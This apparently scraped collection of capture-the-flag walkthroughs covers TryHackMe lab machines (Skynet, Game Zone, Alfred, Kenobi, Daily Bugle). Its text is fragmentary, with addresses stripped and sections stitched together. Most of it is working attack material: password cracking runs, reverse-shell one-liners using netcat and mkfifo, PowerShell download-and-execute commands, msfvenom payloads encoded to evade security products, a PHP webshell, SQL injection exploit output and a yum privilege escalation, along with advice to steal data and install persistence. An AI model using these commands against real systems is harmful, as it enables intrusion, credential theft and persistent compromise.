[-] User scarra doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User toast doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User yvonne doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User guest doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] invalid principal syntax
E:\PENTEST\hashcat>hashcat32.exe -m 18200 -a 0 -w 3 kingofthedomain.hash e:\pentest\hashcat\rockyou.txt --force
hashcat (v5.1.0) starting...

OpenCL Platform #1: Intel(R) Corporation
* Device #1: Intel(R) HD Graphics 610, 819/1638 MB allocatable, 12MCU
* Device #2: Intel(R) Pentium(R) CPU 4415U @ 2.30GHz, skipped.

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

ATTENTION! Pure (unoptimized) OpenCL kernels selected.
This enables cracking passwords and salts > length 32 but for the price of drastically reduced performance.
If you want to switch to optimized OpenCL kernels, append -O to your commandline.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Dictionary cache built:
* Filename..: e:\pentest\hashcat\rockyou.txt
* Passwords.: 14344391
* Bytes.....: 139921497
* Keyspace..: 14344384
* Runtime...: 10 secs

[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit =>

Session..........: hashcat
Status...........: Running
Hash.Type........: Kerberos 5 AS-REP etype 23
Hash.Target......: $krb5asrep$23$lily@KINGOFTHE.DOMAIN:0280f7ba2754b86...d5b2fb
Time.Started.....: Thu May 21 13:34:57 2020 (8 secs)
Time.Estimated...: Thu May 21 13:35:31 2020 (26 secs)
Guess.Base.......: File (e:\pentest\hashcat\rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 415.6 kH/s (91.29ms) @ Accel:64 Loops:1 Thr:64 Vec:1
Recovered........: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts
Progress.........: 3391488/14344384 (23.64%)
Rejected.........: 0/3391488 (0.00%)
Restore.Point....: 3391488/14344384 (23.64%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: taz1997 -> taladascercal


Session..........: hashcat
Status...........: Cracked
Hash.Type........: Kerberos 5 AS-REP etype 23
Hash.Target......: $krb5asrep$23$lily@KINGOFTHE.DOMAIN:0280f7ba2754b86...d5b2fb
Time.Started.....: Thu May 21 13:34:57 2020 (15 secs)
Time.Estimated...: Thu May 21 13:35:12 2020 (0 secs)
Guess.Base.......: File (e:\pentest\hashcat\rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 414.3 kH/s (91.35ms) @ Accel:64 Loops:1 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 6144000/14344384 (42.83%)
Rejected.........: 0/6144000 (0.00%)
Restore.Point....: 6094848/14344384 (42.49%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: lookie123 -> lizyjeancarlos

Started: Thu May 21 13:34:42 2020
Stopped: Thu May 21 13:35:14 2020

or we use john

E:\john-1.9.0-jumbo-1-win64\run>john.exe kingofthedomain.hash -wordlist=e:\pentest\hashcat\rockyou.txt
Warning: detected hash type "krb5asrep", but the string is also recognized as "krb5asrep-aes-opencl"
Use the "--format=krb5asrep-aes-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 SSE4.1 4x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:07 24.27% (ETA: 13:53:30) 0g/s 489115p/s 489115c/s 489115C/s snickers47..snezzticle
lolily ($krb5asrep$23$lily@KINGOFTHE.DOMAIN)
1g 0:00:00:12 DONE (2020-05-21 13:53) 0.08112g/s 495344p/s 495344c/s 495344C/s lolita11311813..lolih8jews
Use the "--show" option to display all of the cracked passwords reliably
Session completed

E:\john-1.9.0-jumbo-1-win64\run>type john.pot
root@kali:/opt/evil-winrm# ./evil-winrm.rb -i -u lily -p 'lolily' Evil-WinRM shell v2.3 Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\lily\Documents> cd .. *Evil-WinRM* PS C:\Users\lily> type flag.txt THM{89F288757F4D0693C99B007855FC075E} *Evil-WinRM* PS C:\Users\lily> whoami kingofthedomain\lily
Author: Jacco Straathof


NOTICE: (SPOILER!!) If you would like to solve it by yourself, don’t read further.

Today let’s play a CTF called skynet at

This room starts to move away from the guided path and has far fewer flags, but it retains more than just a two-task approach to keep the person thinking about the types of vulnerability. I’m thinking it might be cool to ask defensive questions as well (something I might add into my room I’m building).

Well we don’t have time to waste, the machines might rise up and judgement day occur so let’s get pwning!


We start off with a full tcp scan as shown:

nmap -sS -O -sV -sC -A -T4 -Pn -p- -vvv -oA skynet


We find a range of common services on this IP:

  • IMAP
  • POP3
  • SMB
  • HTTP (80)
  • RPC


There are things we start to notice straight off the bat! This server is leaking a lot of intel!

  • Username disclosed (milesdyson)
  • Weak password policy
  • Suspectable to brute force (no account lockout)

SMB Services

Well SMB is exposed so we start hitting this with a brute force attack! It’s not impossible to get a hit but whilst this is running, we can go and explore other areas. I’ve used msf but you could easily use hydra or nmap to perform this attack (or write a custom script if that makes you happy!)

smbclient -L

Now we also noticed an anon access share:


Let’s explore that!

Using smbget we found a log file with a what looks it contains a list of passwords.

We poke about here for a while the books seem like they are rabbit holes!

HTTP Services

When multiple services are exposed it’s important to leave no stone unturned! You never know what service might contain a vulnerability that can be exploited and until you try you won’t know!

We run a whole range of web discovery, including forced browsing using dirbuster (again you could use BURP PRO content discovery or gobuster or other tools!)

I used dirbuster on the HTTP Service on TCP 80 and found a webmail login

Now we know we have a username and we found what looks like a list of passowords! Using BURP I ran an intruder attack to identify the following credentials:



Hacker Voice: “I’m in”

In the email we search around and discovery that we have the following:

A password reset email that sends credentials in an insecure manner! Easy money (haha I coulnd’t write this without some T2 quotes in!)

SMB I’ll be back

A likely target for these creds is the home folder we found earlier, again I use msf but you could use the other tools (smbclient etc.)! We run an SMB Login check

SMB USER: milesdyson

Password: )s{A&2Z=F^n_E.B`

Now we have SMB Creds

We can see the creds are valid!

Now let’s see what secrets we can find in the home foler!

smbclient -L -U //SKYNET/milesdyson

smbclient // -U “milesdyson”

smbget smb:// -U “milesdyson” -R

In the files there is an important.txt

It leaks a CMS directory path

Using google we find that there is an RFI vulnerability in this app

Browse to this path then base64 decode

Since this is an RFI we can host a webshell and get the server to connect to us and spawn a shell.

For this we will need:

  • An http listener (python)
  • A php reverse shell
  • A netcat listener

Copy a php reverse shell and edit the params (IP and PORT)

So, here’s our listener

And finally our python http server

Now we need to build our RFI payload:

Now we have the user flag!

Marching On

Let’s upgrade our shell using python

python -c ‘import pty; pty.spawn(“/bin/bash”)’

On our attacker machine let’s get some enumeration tools:


On the target:
cd /tmpwget

Now make this executable

chmod +x

A scheduled task too far

cat /etc/cron*

There is a root cron job which affects the userland file system (/home/milesdyson/backups)

Let’s send the enum output to the attacker:

Setup a nc listener and output the contents to a file
nc -l -p 999 -q 1 > linenum.txt < /dev/null
Send the file to the server
cat enum.txt-28-01-20 | nc 999| nc 999

Setup a listener

nc -nlvp 1337

Spawn a bash shell back to the attacker:

nc -e /bin/sh 1337

Now the backup script has the following:

#!/bin/bashcd /var/www/html

tar cf /home/milesdyson/backups/backup.tgz *


This script is vulnerable to attack!

Victim in the tmp folder
cd /var/www/htmlecho “rm /tmp/r;mkfifo /tmp/r;cat /tmp/r|/bin/sh -i 2>&1|nc 1337 >/tmp/r” >

touch “/var/www/html/–checkpoint-action=exec=sh”

touch “/var/www/html/–checkpoint=1”

chmod +x

cd /var/www

chmod 777 html

And we have the root flag! After you finish your r00t dance remember to explore the target, steal anything of use and dump creds etc.

Box Summary

This box was a nice path and show’s off a range of vulnerabilities:

  • Sensitive Information Disclosure
    • Usernames
  • Weak Credential Storage
    • Passwords in anonymous share
  • Weak Authentication
    • Lack of account lockout policy and weak password requirements
  • Vulnerable Software
    • Vulnerable Unpatched CMS
  • Insecure Configuration
    • CRON jobs running as root using userland writeable assets

I like the mixture of guided and unguided rooms, it provides opportunities to showcase techniques and helps people learn whilst providing a safe space for people to explore.



NOTICE: (SPOILER!!) If you would like to solve it by yourself, don’t read further.

Today let’s play a CTF called gamezone at

This is a fun room where we see an old but common vulnerability in untrusted user input lead to sensitive information disclosure (hashed credentials) which results in a threat actor gaining initial access. From here we then discover there is a weak security configuration (in effective network segmentation) and a vulnerable unpatched service. This chain leads to total system compromise.

Common Security Testing Approaches and Their Limitations

I wanted to point something important at this stage in this process of writing things up. What you are reading is a condensed version of events and the output you are seeing does not include anywhere near what you would want to know about the configuration and view of a system. If you will this is a view on what was used to exploit, it doesn’t go through every vulnerability. Why is this important? Well when you do security management and assurance you need to understand what activities produce which output and what you need as a business service owner or from an operational perspective. A vulnerability assessment and penetration test produce different out, they also both have limitations, so please when operating services for your business please consider that doing a single external penetration test once a year really isn’t a good acid test for your overall business security posture!

I’m going in!

That being said, let’s move onto the ‘fun’ part 😉

We begin by running common network-based (nmap) scans from an unauthenticated perspective

We identify a web service on TCP 80, so let’s grab a browser and let’s take a look around!

Let’s identify some injection points, we can do this both manually and with the aid of tools like BURP suite! Injection points include the following:

  • Input fields such as login and search forms
  • HTTP Request Parameters and Data
  • Cookie strings
  • User Agent Strings

We can see these in BURP:

Notice for this box I’ve switched to community edition. This is just to show that whilst having tools is great, it’s important to know what they do! I continue to use the site in a legitimate fashion (you don’t need to start throwing attacks at a site you don’t understand)

Now we can run nikto and I’d also suggest we run WAFW00F as a matter of practise!


We also will want to run a forced browse using Gobuster or Dirbuster

Injection Testing

For injection testing we will want to test for:

  • LFI
  • RFI
  • SQLI

SQLi Testing

Username: admin and injection: ‘ or 1=1 — –

SQL Injection Tests

Username: ‘ or 1=1 — –

If we search for a blank string we get the following:

We are now going to attack this search field with SQLMAP

Navigate to burp and save the item of the request we sent to the search filed (after we bypassed authentication)

We can now use this with SQLMAP (it contains the auth cookie)

(note you can add way more parameters to this). Without the additional parameters once SQLMAP finds the vulnerable parameter it will record this:

We can run this again with an additional switch:

SQLMAP is now trying to dump some hashes:

It was unable to crack the password but…

We can now try and crack this with John the Ripper or HashCat

Copy the hashes from tmp

Let’s unzip rockyou

Now let’s run John

john –wordlist=/usr/share/wordlists/rockyou.txt hashes –format=RAW-SHA256

videogamer124 (agent47)

Privilege Escalation

Now we have a valid set of credentials we can try these with the SSH service (and other services that are exposed)

We can now obtain the user hash!

View local Services

netstat -antup

We can also check this with:

ss -tulpn

ssh -L 10000:localhost:10000 agent47@

(agent47: videogamer124)

We can see “Webmin” on this local port

We used the agent47 credentials.

Now we can launch the exploits!

agent47: videogamer124

We can now crack the HASH.

The shadow file has multiple hashes so we want to trim this to just the hash we want (root)

We can then use john or Hashcat

.\hashcat64.exe -m 1800 -a 0 .\shadow .\rockyou.txt

While that is running, we can try the other exploit:

We now have a root shell! Again, we might not end here, we may now install persistence and hunt for more data and additional artefacts such as hashes etc.





NOTICE: (SPOILER!!) If you would like to solve it by yourself, don’t read further.

Today let’s play a CTF called Alfred at




IP Address

In this room, we’ll learn how to exploit a common misconfiguration on a widely used automation server(Jenkins – This tool is used to create continuous integration/continuous development pipelines that allow developers to automatically deploy their code once they made change to it). After which, we’ll use an interesting privilege escalation method to get full system access.

Since this is a Windows application, we’ll be using Nishang to gain initial access. The repository contains a useful set of scripts for initial access, enumeration and privilege escalation. In this case, we’ll be using the reverse shell scripts

note : add as last line to Invoke-PowerShellTcp.ps1 script for auto execution

Invoke-PowerShellTcp -Reverse -IPAddress -Port 9001

Please note that this machine does not respond to ping (ICMP) and may take a few minutes to boot up.

#1 How many ports are open?
#2 What is the username and password for the log in panel(in the format username:password)
#3 Find a feature of the tool that allows you to execute commands on the underlying system. When you find this feature, you can use this command to get the reverse shell on your machine and then run it:

powershell -Command “(New-Object System.Net.WebClient).DownloadFile(‘’,’nc.exe’)”; Start-Process nc.exe -NoNewWindow -Argumentlist ‘ 9001 -e cmd.exe’

powershell iex (New-Object Net.WebClient).DownloadString(‘’)

You first need to download the Powershell script, and make it available for the server to download. You can do this by creating a http server with python: python3 -m http.server

#4 What is the user.txt flag?
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(;while(pe.available()>0)so.write(;while(si.available()>0)po.write(;so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();


The first thing we notice is that the server doesn’t respond to ping. I’ve noticed some boxes (rooms) on the platform can take a fair few minutes to boot and have the services loaded so this isn’t a perfect test, but in this instance we can get comms on other TCP ports so likely this is a Windows server with ICMP responses disabled on the host based firewall (a default with Windows 10 I believe!)


Basic Nmap Top 1000 Scan

nmap -Pn


nmap -sS -T4 -O -A -vvv -Pn -oA nmap -p-

Problems with scan results so I switched to -sT

nmap -sT -T4 -O -A -vvv -Pn -oA nmap1 -p-

Exposed Services Overview

TCP 80 Web Server

Sensitive data disclosure:

TCP 8080 HTTP Server running Jenkins

The default creds for Jenkins are admin:password

However here we can see that default creds are not in use!

So, we capture a login in BURP to prepare for other vectors!

And we send to intruder yet whilst doing this I decided to be cheeky in the browser and just send admin:admin manually…. And guess what! The creds are: admin:admin! A lucky shot with a manual attack but hey, some of this game is art more than science! (I didn’t even get to run intruder,boo! :D)

Running Commands on a Jenkins Server

My first route looking into Jenkins (I don’t remember using this IRL or in a CTF before, but my memory is shocking sometimes so who knows!) the fist feature I looked at was Jenkins script console!

I couldn’t quickly work out how to use this console to went hunting for other avenues (I tried a few things but I felt like I would need to whitebox this to really understand it and I wasn’t in the mood to deploy a new server) so I went hunting for other potential vectors! Luckily in Jenkins the projects BUILD area enables to you execute code! Woohoo! Let’s abuse that built in functionality

We are going to need a reverse shell so we setup a web server with a Nishang shell on TCP 80

Setup a web server

python3 -m http.server 80

Setup a NC Listener

nc -nlvp 1337

Configure Jenkins Project Build Action

powershell iex (New-Object Net.WebClient).DownloadString(‘’);Invoke-PowerShellTcp -Reverse -IPAddress -Port 1337

Build the project: click BUILD NOW

Get a shell!

Here can output the user flag file contents!

Upgrading our shell!

Our current shell works but isn’t great so lets’ see if we can upgrade to an meterpreter shell!

Create an Meterpreter Shell using msfvenom! Note we are going to want to encode this to attempt to evade any security products (pro tip: hunt for those before using the limited shell before hand!)

msfvenom –platform windows -p windows/meterpreter/reverse_tcp –encoder x86/shikata_ga_nai LHOST= LPORT=3117 -a x86 -f exe -i 3 -o shell.exe

#create a windows payload and web service#create a listener

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp


set LPORT 3117


exploit -j

#on the jenkinds build page

powershell “(New-Object System.Net.WebClient).Downloadfile(‘’,’shell1.exe’)”

#second task

powershell -noprofile -command “Start-Process ‘C:\Program Files (x86)\Jenkins\workspace\project\shell1.exe’”

Now this all looks great! But I wasn’t able to use this shell! I tried and tried and tried and eventually got fed up (again I didn’t want to whitebox this) so what to do! Well I would probably not have used this shell type IRL as standard, I would have launched something into a C2 framework such as POSH C2 or Covenant! For this I decided to use a covenant shell!

(please note I did try following the guided path for this box I the room but I found the command syntax had errors and I couldn’t get the intended route working!)

Covenant C2

Since I first reviewed Covenant there have been major changes and it’s now simply an awesome platform!

I suggest if you want to understand more about offensive operations, that you look at this and other c2 frameworks!

I’m not going to go into detail about deployment and setup (that’s a learning experience for you! Though I’m sure I’ll blog that separately soon!) so you will need to go and explore on your own or find some guidance on the web! For now I’m going to simply setup a listener and build a launcher, the PSH net core 35 payload works with Jenkins

Run the build

Once we have configured everything we execute the build task and our GRUNT connects back! In Covenant you can now dump creds (LSA Secrets) using the mimikatz module!

You will need to elevate to system and use the covenant mimikatz module one of the SAM hashes is blank (the building administrator account) the other hash would need cracking.

We are able to dump clear text credentials from the box. We could now use these in a variety of ways! I used RDP amongst others but I really wanted to see if I could get a meterpreter shell to complete the box as per the TASK list (the intended route as it were!)


I got a meterpreter shell running, and attempted to dump tokens so that I could impersonate!

If we launch the shell as ‘Administrator’ /High Integrity




Today let’s play a CTF called Daily Bugle at


NOTICE: (SPOILER!!) If you would like to solve it by yourself, don’t read this post!

[TASK 1]




To start with we are going to perform some basic enumeration using nmap!

nmap -sS -p- -vvv -O -A -T4 -sC -sV -oA kenobi

Here we notice that there are a range of services open including:

  • SMB
  • HTTP
  • SSH

Now that we have identified the services, we also have looked at the verisons etc. to try and identify if they have any known vulnerabilities.

SMB Enumerate

Seeing TCP 445 open raises a red flag, so we head here and look to enumerate further!

nmap -sS -p 445 -vvv -O -A -T4 -sC -sV -oA kenobi-smb –script=smb-enum-shares.nse,smb-enum-users.nse

We notice from this scan a share is accessible using a NULL auth.

SMBCLient Connect to Share

smbclient //

Press ENTER for a NULL password

Download Share

Now that we can see the share, we can see that there is content in the anonymous share! Let’s go ahead and use the smbget command to download this so that we can analyse it from our attacker machine.

smbget -R smb://

cat log.txt

RPC Enumeration

nmap -p 111 –script=nfs-ls,nfs-statfs,nfs-showmount

ProFTPD 1.3.5

We can see another service running on the host is PROFTPD. We can look here to see if there are any known vulnerabilities in this product (and specifically this version)

We also use searchsploit to search for the product name and specifically the version (It’s a good practise to search for a few combos)

This vulnerability means that unauthenticated clients can execute remote command (RCE) against the service.

PROFTPD includes the following command sets:


SITE CPFR /home/Kenobi/.ssh/id_rsa

Now issue SITE CPTO /var/tmp/id_rsa

nc 21SITE CPFR /home/kenobi/.ssh/id_rsa

SITE CPTO /var/tmp/id_rsa

What we have done here is move the private key to the /var/tmp/ folder

Now we are going to mount this using NFS

mkdir /mnt/kenobiNFSmount /mnt/kenobiNFS

ls -la /mnt/kenobiNFS

cp /mnt/kenobiNFS/tmp/id_rsa /pentest/tryhackme/Kenobi

chmod 600 id_rsa

ssh -i id_rsa kenobi@

We are now have gained access to an SSH shell in userland as Kenobi!

Privilede Escalation using Path Variable Manipulation

Search for files with the SUID bit set:

find / -perm -u=s -type f 2>/dev/null

The binary name which is not a LOLbin is /usr/bin/menu

Running string on the binary

We can see here that the binary is running other binaries without a full path. This means this fact, combined with the SUID bit means this binary can be used to execute commands as root.

To abuse this, we can do the following:

#change to the tmp directorycd /tmp

#copy the bash shell to a file name curl in tmp

echo /bin/sh > curl

#change the permissions using chmod 777 curl

chmod 777 curl

#add /tmp to the $PATH variable

export PATH=/tmp:$PATH


UNIX permissions can seem confusing if you are coming from a Windows background. I found a great little site that outputs permission values to clear readable formats:

Now we are root!

Now we need to get the flag!


Well that again was a good experience. I like the way it walks you through. It would have been better if it had included visit the web services and running common web enumeration etc. (e.g. Nikto etc.)

But overall, I like the platform and I like the way it is going into details about the vulnerabilities and config along the route. It gives you the freedom to explore whilst helping people learn, this is a great capability from a learning platform from my point of view.


Today let’s play a CTF called Daily Bugle at

NOTICE: (SPOILER!!) If you would like to solve it by yourself, don’t read this post!

[Task 1]

First question is pretty simple. Open the article and you can find the answer

Access the web server, who robbed the bank?

  • spiderman

[Task 2]

E:\PENTEST>curl | findstr MooTools.More
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0MooTools.More={version:"",build:"a4244edf2aa97ac8a196fc96082dd35af1abab87"};(function(){Events.Pseudos=function(h,e,f){var d="_monitorEvents:";var c=function(i){return{,k){,k);
100 231k 100 231k 0 0 231k 0 0:00:01 --:--:-- 0:00:01 1344k

<?xml version="1.0" encoding="utf-8"?>
<metafile version="3.7" client="site">
<name>English (en-GB)</name>
<creationDate>April 2017</creationDate>
<author>Joomla! Project</author>
<copyright>Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved.</copyright>
<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
<description><![CDATA[en-GB site language]]></description>
<name>English (en-GB)</name>
<nativeName>English (United Kingdom)</nativeName>
<locale>en_GB.utf8, en_GB.UTF-8, en_GB, eng_GB, en, english, english-uk, uk, gbr, britain, england, great britain, uk, united kingdom, united-kingdom</locale>
<params />


We found it.

What is the Joomla version?

  • 3.7.0

After some research of finding following exploits for SQL Injection in Joomla

I found the best way to solve this task and exploit the Joomla 3.7.0 SQLi vulnerability

$ git clone
$ cd exploits/Joomblah

and finally run the exploit.

$ python2
    .---.    .-'''-.        .-'''-.                                                           
    |   |   '   _    \     '   _    \                            .---.                        
    '---' /   /` '.   \  /   /` '.   \  __  __   ___   /|        |   |            .           
    .---..   |     \  ' .   |     \  ' |  |/  `.'   `. ||        |   |          .'|           
    |   ||   '      |  '|   '      |  '|   .-.  .-.   '||        |   |         <  |           
    |   |\    \     / / \    \     / / |  |  |  |  |  |||  __    |   |    __    | |           
    |   | `.   ` ..' /   `.   ` ..' /  |  |  |  |  |  |||/'__ '. |   | .:--.'.  | | .'''-.    
    |   |    '-...-'`       '-...-'`   |  |  |  |  |  ||:/`  '. '|   |/ |   \ | | |/.'''. \   
    |   |                              |  |  |  |  |  |||     | ||   |`" __ | | |  /    | |   
    |   |                              |__|  |__|  |__|||\    / '|   | .'.''| | | |     | |   
 __.'   '                                              |/'..' / '---'/ /   | |_| |     | |   
|      '                                               '  `'-'`       \ \._,\ '/| '.    | '.  
|____.'                                                                `--'  `" '---'   '---' 

 [-] Fetching CSRF token
 [-] Testing SQLi
  -  Found table: fb9j5_users
  -  Extracting users from fb9j5_users
 [$] Found user ['811', 'Super User', 'jonah', '', '$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm', '', '']
  -  Extracting sessions from fb9j5_session

Now we need to crack the hashed password, so we save bcrypt hash to file hashes.txt and run.

c:\john-1.9.0-jumbo-1-win64\run>john.exe --wordlist=C:\Users\jacco\Downloads\rockyou.txt --rules=wordlist --min-len=12 --max-len=12 ../hashes.txt
Warning: detected hash type "bcrypt", but the string is also recognized as "bcrypt-opencl"
Use the "--format=bcrypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
spiderman123     (?)
1g 0:00:00:02 DONE (2020-02-07 10:54) 0.3846g/s 110.7p/s 110.7c/s 110.7C/s ilovepatrick..quetzalcoatl
Use the "--show" option to display all of the cracked passwords reliably
Session completed
What is Jonah’s cracked password?
  • spiderman123

After logged in to the /administrator page with login jonah and password spiderman123 we need to gain access to ssh. go to page /administrator/index.php?option=com_templates&view=template&id=506&file=L2luZGV4LnBocA. We can edit index.php of template so we can run any command on server and execute them via Template Preview. Before run you don’t forget to save file.

we use a simple php shell replacing index.php in protostar template,

then we reload the main page and voila

<?php echo shell_exec($_GET['cmd']);?>


uid=48(apache) gid=48(apache) groups=48(apache) 
Now we now any command executed via Joomla Template will run under apache user.
system("cat /etc/passwd");
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin
jjameson:x:1000:1000:Jonah Jameson:/home/jjameson:/bin/bash apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin mysql:x:27:27:MariaDB Server:/var/lib/mysql:/sbin/nologin 
We can see user jonah has jjameson username in ssh login, so we need password now.
system("cat configuration.php");
Please check back again soon.'; public $display_offline_message = '1'; public $offline_image = ''; public $sitename = 'The Daily Bugle'; public $editor = 'tinymce'; public $captcha = '0'; public $list_limit = '20'; public $access = '1'; public $debug = '0'; public $debug_lang = '0'; public $dbtype = 'mysqli'; public $host = 'localhost'; public $user = 'root'; public $password = 'nv5uz9r3ZEDzVjNu'; public $db = 'joomla'; public $dbprefix = 'fb9j5_'; public $live_site = ''; public $secret = 'UAMBRWzHO3oFPmVC'; public $gzip = '0'; public $error_reporting = 'default'; public $helpurl = '{major}{minor}:{keyref}'; public $ftp_host = ''; public $ftp_port = '21'; public $ftp_user = ''; public $ftp_pass = ''; public $ftp_root = ''; public $ftp_enable = '0'; public $offset = 'UTC'; public $mailonline = '1'; public $mailer = 'mail'; public $mailfrom = ''; public $fromname = 'The Daily Bugle'; public $sendmail = '/usr/sbin/sendmail'; public $smtpauth = '0'; public $smtpuser = ''; public $smtppass = ''; public $smtphost = 'localhost'; public $smtpsecure = 'none'; public $smtpport = '25'; public $caching = '0'; public $cache_handler = 'file'; public $cachetime = '15'; public $cache_platformprefix = '0'; public $MetaDesc = 'New York City tabloid newspaper'; public $MetaKeys = ''; public $MetaTitle = '1'; public $MetaAuthor = '1'; public $MetaVersion = '0'; public $robots = ''; public $sef = '1'; public $sef_rewrite = '0'; public $sef_suffix = '0'; public $unicodeslugs = '0'; public $feed_limit = '10'; public $feed_email = 'none'; public $log_path = '/var/www/html/administrator/logs'; public $tmp_path = '/var/www/html/tmp'; public $lifetime = '15'; public $session_handler = 'database'; public $shared_session = '0'; } 

Interesting. We can try the password to database if it is not the same to jjameson ssh login.

  • username: jjamesson
  • password: nv5uz9r3ZEDzVjNu
Yes, everything works!
E:\PENTEST>ssh jjameson@
jjameson@'s password:nv5uz9r3ZEDzVjNu
Last login: Mon Dec 16 05:14:55 2019 from netwars
Last login: Mon Dec 16 05:14:55 2019 from netwars
[jjameson@dailybugle ~]$ ls
[jjameson@dailybugle ~]$ cat user.txt

What is the user flag?

  • 27a260fe3cba712cfdedb1c86d80442e

The last step is gain root access on this machine. So let’s do it!

[jjameson@dailybugle ~]$ sudo -l                                                                                                                                                                                    
Matching Defaults entries for jjameson on dailybugle:                                                                                                                                                               
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS     
    XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin                                                                                                                                                       
User jjameson may run the following commands on dailybugle:                                                                                                                                                         
    (ALL) NOPASSWD: /usr/bin/yum
Yum is the only one command you can run under root and that’s security miss-configuration. More about the vulnerability you can find here. You can download the exploit here

So let’s download the exploit and copy to vulnerable server

$ wget
$ scp setuid-pop.rpm jjameson@
Now extract the exploit and install it via yum
[jjameson@dailybugle ~]$ cat setuid-pop.rpm | base64 -d | gzip -d > yumsploit.rpm
[jjameson@dailybugle ~]$ sudo yum localinstall ~/yumsploit.rpm 
Loaded plugins: fastestmirror
Examining /home/jjameson/yumsploit.rpm: sploit-1.0-1.x86_64
Marking /home/jjameson/yumsploit.rpm to be installed
Resolving Dependencies
--> Running transaction check
---> Package sploit.x86_64 0:1.0-1 will be installed
--> Finished Dependency Resolution

Dependencies Resolved
Downloading packages:
Running transaction check
Running transaction test
Transaction test succeeded
Running transaction
  Installing : sploit-1.0-1.x86_64                                                                                                                                                                              1/1 
  Verifying  : sploit-1.0-1.x86_64                                                                                                                                                                              1/1 

  sploit.x86_64 0:1.0-1                              

We have installed pop binary in /usr/local/bin directory with setuid bit. That means pop binary will be runned with root privileges.
meson@dailybugle ~]$ ls -la /usr/local/bin
total 12
drwxr-xr-x.  2 root root   17 Feb  7 10:43 .
drwxr-xr-x. 12 root root  131 Dec 14 13:57 ..
-rwsr-sr-x   1 root root 8744 Jan 18  2019 pop
Let’s execute it.
[jjameson@dailybugle ~]$ /usr/local/bin/pop
[root@dailybugle ~]# id
uid=0(root) gid=0(root) groups=0(root),1000(jjameson) 
[root@dailybugle ~]# cat /root/root.txt
Done! We have now root privileges.

What is the root flag?

  • eec3d53292b1821868266858d7fa6f79

Author : Jacco Straathof

Beveiligd: htb-cache-nl

De inhoud is beveiligd met een wachtwoord. Vul het wachtwoord hieronder in om hem te kunnen bekijken:

Geplaatst op



Check it out at TryHackMe KoTH Food CTF

Room created by , TryHackMe profile

One of the first five KoTH boxes, foodCTF was the first challenge that was created for TryHackMe. This writeup is for the patched version, as the initial version had some small issues.


An initial nmap scan reveals several open ports, however with ctf style boxes it’s always worth scanning all ports to see

root@ninja:~# nmap -sV
Starting Nmap 7.80 ( ) at 2020-05-02 20:20 BST
Nmap scan report for
Host is up (0.026s latency).
Not shown: 997 closed ports
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
3306/tcp open  mysql   MySQL 5.7.29-0ubuntu0.18.04.1
9999/tcp open  abyss?
1 service unrecognized despite returning data.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 88.70 seconds

From the initial nmap scan, we only see 3 services.

The service running on 9999 is part of the infrastructure for king of the hill, and therefore not an attack vector.

SSH is off limits, as we don’t have creds. This just leaves MySQL. We’ll come back to this.

Running a full nmap scan, with the -p-, we see a few more ports open

root@ninja:~# nmap -sV -p-
Starting Nmap 7.80 ( ) at 2020-05-02 20:59 BST
Nmap scan report for
Host is up (0.033s latency).
Not shown: 65529 closed ports
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
